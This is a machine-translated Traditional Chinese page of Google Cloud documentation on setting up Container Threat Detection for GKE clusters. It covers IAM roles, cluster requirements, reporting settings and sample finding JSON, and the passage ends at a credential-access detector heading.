本頁面由 Cloud Translation API 翻譯而成。

使用 Container Threat Detection

本頁面說明如何在 Google Cloud 控制台中查看 Container Threat Detection 發現項目，並提供 Container Threat Detection 發現項目的範例。

Container Threat Detection 是 Security Command Center 進階版和企業版內建的服務。

如要查看 Container Threat Detection 發現項目，必須在 Security Command Center 的「服務」設定中啟用這項服務。

如要進一步瞭解如何查看及管理 Container Threat Detection 發現項目，請參閱本頁的「查看發現項目」一節。

如要在專案層級啟用 Container Threat Detection 和其他進階層級偵測器，請參閱「為專案啟用 Security Command Center」。Enterprise 方案不支援專案層級啟用。

使用支援的 GKE 版本

如要偵測容器的潛在威脅，請確保叢集使用受支援的 Google Kubernetes Engine (GKE) 版本。Container Threat Detection 支援下列 GKE 版本，適用於穩定版、一般版和搶鮮版管道的 Container-Optimized OS 型 x86 叢集：

GKE Standard >= 1.15.9-gke.12
GKE Standard >= 1.16.5-gke.2
GKE Standard >= 1.17
GKE Standard >= 1.18.10-gke.1400
GKE Standard >= 1.19.2-gke.2000
GKE Standard >= 1.20
GKE Standard >= 1.21
GKE Autopilot >= 1.21.11-gke.900
GKE Standard 和 Autopilot >= 1.22
GKE Standard 和 Autopilot >= 1.23

容器威脅偵測功能支援下列 GKE 版本，適用於穩定版、一般版和搶鮮版管道的 Ubuntu 型 x86 叢集：

GKE Standard 和 Autopilot >= 1.28.15-gke.1480000
GKE Standard 和 Autopilot >= 1.29.12-gke.1120000
GKE Standard 和 Autopilot >= 1.30.8-gke.1128000
GKE Standard 和 Autopilot >= 1.31.4-gke.1177000
GKE Standard 和 Autopilot >= 1.32

Container Threat Detection 支援下列 GKE 版本，適用於穩定版、一般版和搶鮮版管道的 Container-Optimized OS 型 Arm 叢集：

GKE Standard 和 Autopilot >= 1.28

在下列 GKE 版本中，Container Threat Detection 檔案監控偵測器 (搶先版) 支援以 Container-Optimized OS 為基礎的節點 (包括 x86 和 Arm)：

GKE Standard 和 Autopilot >= 1.30

Ubuntu 型 x86 節點的下列 GKE 版本也支援 Container Threat Detection 檔案監控偵測工具 (預覽版)：

GKE Standard 和 Autopilot >= 1.32

啟用 Container Threat Detection

啟用 Security Command Center Premium 或 Enterprise 級時，系統預設會啟用 Container Threat Detection，除非您在啟用程序中選擇停用。

如要為機構或專案啟用或停用 Container Threat Detection，請前往 Security Command Center 的「設定」頁面。詳情請參閱「啟用或停用內建服務」。

啟用 Container Threat Detection 時 (無論是啟用 Security Command Center 時或之後)，請執行下列操作：

如果叢集使用的 GKE 版本不受支援，請按照指南中的步驟升級叢集。
請確認叢集可以取得充足的資源，執行 Container Threat Detection DaemonSet。
在 Google Cloud 控制台中，查看「Container Threat Detection 服務啟用設定」，確認叢集已啟用 Container Threat Detection。

必要 IAM 權限

Container Threat Detection 需要權限才能啟用/停用自身，以及管理 GKE 叢集中的 Container Threat Detection 代理程式。

如要授予必要權限，請將「Container Threat Detection 服務代理」(roles/containerthreatdetection.serviceAgent) 這個 IAM 角色授予 Container Threat Detection 服務代理 (這是一種服務帳戶)。

從服務代理程式移除這個預設角色，可能會導致 Container Threat Detection 無法正常運作。

視啟用 Security Command Center 的方式和時間而定，Container Threat Detection 使用的服務代理人名稱會有所不同：

如果是在 2023 年 12 月 7 日前啟用 Security Command Center，Container Threat Detection 會使用下列使用者管理的服務代理程式：

service-PROJECT_NUMBER@gcp-sa-ktd-control.iam.gserviceaccount.com
如果是在 2023 年 12 月 7 日後啟用機構層級的 Security Command Center，Container Threat Detection 會使用下列使用者管理的機構層級服務代理程式：

service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com
如果是在 2023 年 12 月 7 日後於專案層級啟用 Security Command Center，Container Threat Detection 會使用下列使用者管理的機構層級服務代理程式：

service-project-PROJECT_NUMBER@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

如要進一步瞭解服務代理程式和 IAM 角色，請參閱下列文章：

自訂 GKE 節點服務帳戶所需的權限

為 GKE 節點使用自訂服務帳戶時，新的節點服務帳戶必須具備與 Container Threat Detection 互動的權限。如要將這些權限授予服務帳戶，請授予服務帳戶憑證建立者角色 (roles/iam.serviceAccountTokenCreator)。

將「服務帳戶憑證建立者」角色授予節點服務帳戶：
```
gcloud iam service-accounts add-iam-policy-binding \   SERVICE_ACCOUNT_NAME \   --member=serviceAccount:service-PROJECT_NUMBER@compute-system.iam.gserviceaccount.com \   --role=roles/iam.serviceAccountTokenCreator 
```
替換下列值：
- 將 SERVICE_ACCOUNT_NAME 替換為新節點服務帳戶的電子郵件地址。
- 將 PROJECT_NUMBER 替換為部署 Container Threat Detection 的專案編號。如果與服務帳戶的專案不同，這項資訊就非常重要。
在建立新節點服務帳戶的專案中，啟用 Container Threat Detection API：
```
gcloud services enable containerthreatdetection.googleapis.com --project PROJECT_ID 
```
將 PROJECT_ID 替換為新節點服務帳戶所在的專案 ID。

檢查 GKE 叢集設定

如要讓 Container Threat Detection 正常運作，如果叢集位於虛擬私有雲 (VPC) 中，其網路必須符合路由、防火牆和 DNS 需求，才能與 Google API 和服務通訊。如要存取 Google API，請參閱下列指南：

如果叢集是私人叢集，請參閱設定私人 Google 存取權或設定 Private Service Connect。
如果叢集位於 VPC Service Controls 服務範圍內，請務必按照服務範圍總覽中的操作說明進行。
如果叢集不是私人叢集，請參閱「從具有外部 IP 位址的 VM 存取 API」。

此外，GKE 叢集設定或機構政策限制不得禁止建立或使用 Container Threat Detection 運作所需的任何物件。下列各節列出 Container Threat Detection 建立的 GKE 物件，並說明如何設定必要的 GKE 元件，以便搭配 Container Threat Detection 使用。

Kubernetes 物件

啟用 Container Threat Detection 後，系統會在已啟用的叢集中建立多個 GKE 物件。這些物件可用於監控容器映像檔、管理特殊權限容器和 Pod，以及評估狀態以產生發現項目。下表列出物件、屬性和必要函式。

物件	名稱¹	屬性	函式
ClusterRole	`container-watcher-pod-reader`	授予 Pod 的 `get`、`watch` 和 `list` 權限
ClusterRole	`pod-reader`	授予 Pod 的 `get`、`watch` 和 `list` 權限
ClusterRoleBinding	`container-watcher-pod-reader` `gce:podsecuritypolicy:container-watcher`	將 `container-watcher-pod-reader` 和 `gce:podsecuritypolicy:privileged` 角色授予 `container-watcher-pod-reader` ServiceAccount
CustomResourceDefinition	`containerwatcherstatuses.containerthreatdetection.googleapis.com`		DaemonSet 狀態報告
DaemonSet	`container-watcher`²	特殊權限	與以 eBPF 為基礎的 Kernel 模組和容器引擎互動
		以讀寫模式掛接 /host/	與以 eBPF 為基礎的核心模組通訊
		以唯讀方式掛接 /etc/container-watcher/secrets，以便存取 `container-watcher-token`	驗證
		使用 `hostNetwork`	尋找生成
		Image gke.gcr.io/watcher-daemonset	啟用和升級
		Backend containerthreatdetection-`REGION`.googleapis.com:443	尋找生成
角色	`container-watcher-status-reporter`	角色包含 `containerwatcherstatuses.containerthreatdetection.googleapis.com` CustomResourceDefinition 的 `get`、`list`、`watch`、`create`、`update`、`patch` 動詞	允許更新 DaemonSet 狀態資訊
RoleBinding	`gce:podsecuritypolicy:container-watcher`	將 `gce:podsecuritypolicy:privileged` 角色授予 `container-watcher-pod-reader` ServiceAccount	啟用 `PodSecurityPolicy` 時保留功能
RoleBinding	`container-watcher-status-reporter`	將 `container-watcher-status-reporter` 角色授予 `container-watcher-pod-reader` ServiceAccount
密鑰	`container-watcher-token`		驗證
ServiceAccount	`container-watcher-pod-reader`		啟用、升級和停用

¹ 所有物件都位於 kube-system 命名空間，但 container-watcher-pod-reader 和 gce:podsecuritypolicy:container-watcher 除外。

² 安裝、更新或移除 Container Threat Detection 時，Kubernetes 可能會針對暫時遺失或不完整的 Kubernetes 物件或其他依附元件產生錯誤訊息。舉例來說，如果缺少 container-watcher-pod-reader 角色，就無法安裝 Pod 監控程式。這也會產生錯誤記錄，例如 serviceaccount "container-watcher-pod-reader" not found。通常在容器威脅偵測完成程序後，這些錯誤就會自動解決。除非錯誤持續發生超過幾分鐘，否則可以放心忽略。

PodSecurityPolicy 和許可控制器

PodSecurityPolicy 是一種由您設定的許可控制器資源，可驗證在叢集中建立與更新 pod 的要求。使用 enable-pod-security-policy 旗標建立或更新叢集時，系統會自動套用 PodSecurityPolicy，而 Container Threat Detection 與這類政策相容。具體來說，啟用 PodSecurityPolicy 時，Container Threat Detection 會使用 gce.privileged 政策。

如果您使用自訂 PodSecurityPolicy 或其他許可控制器，這些控制器不得封鎖建立或使用 Container Threat Detection 運作所需的物件。舉例來說，如果以 Webhook 為基礎的許可控制器拒絕或覆寫具備權限的部署作業，容器威脅偵測功能可能就無法正常運作。

詳情請參閱「使用 PodSecurityPolicies」。

從 Container Threat Detection 發現項目中排除環境變數

根據預設，當 Container Threat Detection 產生發現項目時，會回報發現項目中參照的所有程序的環境變數。調查攻擊事件時，環境變數值可能非常重要。不過，部分軟體套件會將密碼和其他私密資訊儲存在環境變數中。如要防止 Container Threat Detection 在任何 Container Threat Detection 發現項目中加入程序環境變數，請使用 Google Cloud CLI 或 Security Command Center Management API 的 securityCenterServices.patch 方法，在機構、資料夾或專案層級停用 REPORT_ENVIRONMENT_VARIABLES 模組。

舉例來說，如要在專案中停用環境變數報表，請建立名為 module_config.yaml 的檔案，並在其中加入下列內容：

REPORT_ENVIRONMENT_VARIABLES:   intendedEnablementState: DISABLED

然後執行下列指令：

gcloud scc manage services update container-threat-detection \     --module-config-file=module_config.yaml \     --project=PROJECT_ID

如要還原預設行為，請編輯 module_config.yaml，使其包含下列內容，然後再次執行指令：

REPORT_ENVIRONMENT_VARIABLES:   intendedEnablementState: ENABLED

如要查看所有用於管理服務的 gcloud CLI 指令，請參閱 gcloud scc manage services。

從 Container Threat Detection 發現項目中排除 CLI 引數

所有程序都有一或多個指令列 (CLI) 引數。根據預設，當 Container Threat Detection 在發現項目中加入程序詳細資料時，會記錄程序的 CLI 引數。調查攻擊事件時，CLI 引數值可能非常重要。不過，部分使用者可能會在 CLI 引數中傳遞密鑰和其他機密資訊。如要防止容器威脅偵測在任何容器威脅偵測結果中加入程序 CLI 引數，請使用 Google Cloud CLI 或 Security Command Center Management API 的 securityCenterServices.patch 方法，在機構、資料夾或專案層級停用 REPORT_CLI_ARGUMENTS 模組。

舉例來說，如要在專案中停用 CLI 引數報表，請建立名為 module_config.yaml 的檔案，並在其中加入下列內容：

REPORT_CLI_ARGUMENTS:   intendedEnablementState: DISABLED

然後執行下列指令：

gcloud scc manage services update container-threat-detection \     --module-config-file=module_config.yaml \     --project=PROJECT_ID

如要還原預設行為，請編輯 module_config.yaml，使其包含下列內容，然後再次執行指令：

REPORT_CLI_ARGUMENTS:   intendedEnablementState: ENABLED

如要查看所有用於管理服務的 gcloud CLI 指令，請參閱 gcloud scc manage services。

資源使用情況

Container Threat Detection 的設計宗旨是不會干擾叢集，對叢集作業的效能影響微乎其微。

資源用量取決於工作負載。不過，根據為限制資源用量而設定的硬性限制，容器威脅偵測的核心元件 (使用者空間 DaemonSet 和 eBPF 程式) 預估最多會影響 0.125 個 vCPU 和 450 MB 的記憶體。我們會不時重新評估這些限制，並可能在日後變更，以提升效能，尤其是針對非常大的節點。

如果您是 BigQuery 客戶，可以啟用 GKE 用量計算功能，監控 Container Threat Detection 使用者空間 DaemonSet 的資源用量。如要在用量計量中查看使用者空間 DaemonSet，請搜尋命名空間 kube-system 和標籤 k8s-app=container-watcher。

GKE 用量計算功能無法追蹤以 eBPF 為基礎的核心模組的特定核心 CPU 用量。這項資料會計入整體 CPU 使用率。

Container Threat Detection API

Container Threat Detection 會在啟用期間自動啟用 containerthreatdetection API，以允許產生發現項目。您不應直接與這項必要 API 互動。停用這項 API 會影響 Container Threat Detection 產生新發現的能力。如要停止接收 Container Threat Detection 發現項目，請在 Security Command Center 的「服務」設定中停用 Container Threat Detection。

查看結果

Container Threat Detection 產生發現項目後，您可以在 Security Command Center 中查看。如果您已設定將記錄檔匯出至 Cloud Logging，也可以在 Cloud Logging 中查看發現項目。如要產生發現項目並驗證設定，您可以刻意觸發偵測器，並測試 Container Threat Detection。

Container Threat Detection 的延遲時間如下：

新加入的機構或專案啟用服務時，延遲時間為 3.5 小時。
新建立叢集的啟用延遲時間 (以分鐘為單位)。
已啟用的叢集偵測威脅時的延遲時間 (以分鐘為單位)。

在 Google Cloud 控制台中查看發現項目

您可以在機構、資料夾或專案層級授予 Security Command Center 的 IAM 角色。您能否查看、編輯、建立或更新發現項目、資產和安全性來源，取決於您獲准的存取層級。如要進一步瞭解 Security Command Center 角色，請參閱存取權控管。

如要在 Security Command Center 中查看 Container Threat Detection 發現項目，請按照下列步驟操作。

在 Google Cloud 控制台中，前往 Security Command Center 的「發現項目」頁面。
前往「發現項目」
選取 Google Cloud 專案或機構。
在「快速篩選器」部分的「來源顯示名稱」子部分中，選取「Container Threat Detection」(容器威脅偵測)。發現項目查詢結果會更新，只顯示來自這個來源的發現項目。
如要查看特定發現項目的詳細資料，請按一下「類別」欄中的發現項目名稱。系統會開啟發現項目的詳細資料面板，並顯示「摘要」分頁。
在「摘要」分頁中，查看發現項目的詳細資料，包括偵測到的內容、受影響的資源，以及 (如有) 可採取哪些步驟來修正發現項目。
選用：如要查看調查結果的完整 JSON 定義，請按一下「JSON」JSON分頁標籤。

為協助您進行調查，威脅發現結果也包含下列外部資源的連結：

MITRE ATT&CK 架構項目。這個架構說明針對雲端資源的攻擊技術，並提供補救指引。
VirusTotal：Alphabet 旗下服務，可提供潛在惡意檔案、指令碼、網址和網域的相關資訊。

如需 Container Threat Detection 發現項目清單，請參閱 Container Threat Detection 偵測工具。

在 Cloud Logging 中查看發現項目

如要在 Cloud Logging 中查看 Container Threat Detection 發現項目，請按照下列步驟操作：

前往 Google Cloud 控制台的「Logs Explorer」頁面。

前往記錄檔探索工具
選取儲存事件威脅偵測記錄的 Google Cloud 專案或其他 Google Cloud 資源。
使用「Query」(查詢) 窗格，透過下列其中一種方式建構查詢：
- 在「所有資源」清單中，執行下列操作：
  1. 選取「威脅偵測工具」，即可顯示所有偵測工具的清單。
  2. 如要查看所有偵測工具的結果，請選取「all detector_name」。如要查看特定偵測工具的結果，請選取該工具的名稱。
  3. 按一下 [套用]。「Query results」(查詢結果) 表格會更新為您選取的記錄。
- 在查詢編輯器中輸入下列查詢，然後點選「執行查詢」：
```
resource.type="threat_detector"
```
  「Query results」(查詢結果) 表格會更新為您選取的記錄。
如要查看記錄，請選取資料表列，然後按一下「展開巢狀欄位」。

您可以建立進階記錄查詢，從任意數量的記錄中指定一組記錄項目。

尋找格式範例

本節提供 Container Threat Detection 發現項目的 JSON 輸出範例。使用Google Cloud 控制台匯出發現項目，或使用 Security Command Center API 或 Google Cloud CLI 列出發現項目時，會看到這項輸出內容。

本頁的範例顯示不同類型的發現項目。每個範例只會包含與該類型發現項目最相關的欄位。如需發現項目中可用欄位的完整清單，請參閱 Finding 資源的 Security Command Center API 說明文件。

系統會盡可能提供 Kubernetes 和 containerd 的資訊。

已執行新增的二進位檔

{   "finding": {     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "state": "ACTIVE",     "category": "Added Binary Executed",     "sourceProperties": {       "VM_Instance_Name": "INSTANCE_ID",       "Added_Binary_Kind": "Added",       "Container_Image_Id": "CONTAINER_IMAGE_ID",       "Container_Name": "CONTAINER_NAME",       "Parent_Pid": 1.0,       "Container_Image_Uri": "CONTAINER_IMAGE_URI",       "Process_Creation_Timestamp": {         "seconds": 1.617989997E9,         "nanos": 1.17396995E8       },       "Pid": 53.0,       "Pod_Namespace": "default",       "Process_Binary_Fullpath": "BINARY_PATH",       "Process_Arguments": ["BINARY_PATH"],       "Pod_Name": "POD_NAME",       "description": "A binary that was not part of the original container image       was executed. If an added binary is executed by an attacker, this is a       possible sign that an attacker has control of the workload and they are       executing arbitrary commands.",       "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",       "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-       test-4af235e12be6f9d9", "HOME\u003d/root",       "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",       "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",       "KUBERNETES_PORT_443_TCP_PORT\u003d443",       "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",       "DEBIAN_FRONTEND\u003dnoninteractive",       "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",       "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",       "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],       "Container_Creation_Timestamp": {         "seconds": 1.617989918E9,         "nanos": 0.0       }     },     "securityMarks": {       "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"     },     "eventTime": "2021-04-09T17:39:57.527Z",     "createTime": "2021-04-09T17:39:57.625Z",     "propertyDataTypes": {       "Container_Image_Id": {         "primitiveDataType": "STRING"       },       "Pod_Namespace": {         "primitiveDataType": "STRING"       },       "Container_Creation_Timestamp": {         "dataType": "TIMESTAMP",         "structValue": {           "fields": {             "seconds": {               "primitiveDataType": "NUMBER"             },             "nanos": {               "primitiveDataType": "NUMBER"             }           }         }       },       "Environment_Variables": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "Added_Binary_Kind": {         "primitiveDataType": "STRING"       },       "description": {         "primitiveDataType": "STRING"       },       "Pid": {         "primitiveDataType": "NUMBER"       },       "Process_Arguments": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "Container_Image_Uri": {         "primitiveDataType": "STRING"       },       "Pod_Name": {         "primitiveDataType": "STRING"       },       "Process_Creation_Timestamp": {         "dataType": "TIMESTAMP",         "structValue": {           "fields": {             "seconds": {               "primitiveDataType": "NUMBER"             },             "nanos": {               "primitiveDataType": "NUMBER"             }           }         }       },       "Parent_Pid": {         "primitiveDataType": "NUMBER"       },       "VM_Instance_Name": {         "primitiveDataType": "STRING"       },       "Container_Name": {         "primitiveDataType": "STRING"       },       "Process_Binary_Fullpath": {         "primitiveDataType": "STRING"       }     },     "severity": "LOW",     "workflowState": "NEW",     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "projectDisplayName": "PROJECT_ID",     "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parentDisplayName": "PROJECT_ID",     "type": "google.container.Cluster"   } }

已載入新增的資料庫

{   "finding": {     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findingsFINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "state": "ACTIVE",     "category": "Added Library Loaded",     "sourceProperties": {       "Process_Arguments": ["BINARY_PATH", "ADDED_LIBRARY_NAME"],       "Parent_Pid": 1.0,       "Container_Name": "CONTAINER_NAME",       "Added_Library_Fullpath": "ADDED_LIBRARY_PATH",       "Container_Image_Id": "CONTAINER_IMAGE_ID",       "Container_Creation_Timestamp": {         "seconds": 1.618004144E9,         "nanos": 0.0       },       "Pod_Name": "POD_NAME",       "Pid": 7.0,       "description": "A library that was not part of the original container       image was loaded. If an added library is loaded, this is a possible sign       that an attacker has control of the workload and they are executing       arbitrary code.",       "VM_Instance_Name": "INSTANCE_ID",       "Pod_Namespace": "default",       "Environment_Variables": ["KUBERNETES_SERVICE_PORT\u003d443",       "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT", "HOSTNAME\u003dsuspicious-       library", "LD_LIBRARY_PATH\u003d/tmp", "PORT\u003d8080",       "HOME\u003d/root", "PYTHONUNBUFFERED\u003d1",       "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",       "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p       ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"       , "KUBERNETES_PORT_443_TCP_PORT\u003d443",       "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp", "LANG\u003dC.UTF-8",       "DEBIAN_FRONTEND\u003dnoninteractive",       "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",       "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",       "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/home/vmagent/app"],       "Process_Binary_Fullpath": "BINARY_PATH",       "Added_Library_Kind": "Added",       "Container_Image_Uri": "CONTAINER_IMAGE_uri"     },     "securityMarks": {       "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"     },     "eventTime": "2021-04-09T21:36:13.069Z",     "createTime": "2021-04-09T21:36:13.267Z",     "propertyDataTypes": {       "Container_Image_Id": {         "primitiveDataType": "STRING"       },       "Added_Library_Fullpath": {         "primitiveDataType": "STRING"       },       "Container_Creation_Timestamp": {         "dataType": "TIMESTAMP",         "structValue": {           "fields": {             "seconds": {               "primitiveDataType": "NUMBER"             },             "nanos": {               "primitiveDataType": "NUMBER"             }           }         }       },       "Pod_Namespace": {         "primitiveDataType": "STRING"       },       "Environment_Variables": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "description": {         "primitiveDataType": "STRING"       },       "Process_Arguments": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "Pid": {         "primitiveDataType": "NUMBER"       },       "Container_Image_Uri": {         "primitiveDataType": "STRING"       },       "Pod_Name": {         "primitiveDataType": "STRING"       },       "Added_Library_Kind": {         "primitiveDataType": "STRING"       },       "Parent_Pid": {         "primitiveDataType": "NUMBER"       },       "VM_Instance_Name": {         "primitiveDataType": "STRING"       },       "Container_Name": {         "primitiveDataType": "STRING"       },       "Process_Binary_Fullpath": {         "primitiveDataType": "STRING"       }     },     "severity": "LOW",     "workflowState": "NEW",     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "projectDisplayName": "PROJECT_ID",     "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parentDisplayName": "PROJECT_ID",     "type": "google.container.Cluster"   } }

命令與控制：偵測到隱寫術工具 (預覽)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Command and Control: Steganography Tool Detected",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "COMMAND_AND_CONTROL",       "primaryTechniques": [         "DATA_OBFUSCATION"       ],       "additionalTactics": [         "DEFENSE_EVASION"       ],       "additionalTechniques": [         "OBFUSCATED_FILES_OR_INFO"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-steganography-tool-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_steganography_tool_detected"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1001/002/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"         }       ],       "relatedFindingUri": {}     }   }, }

憑證存取：尋找 Google Cloud 憑證

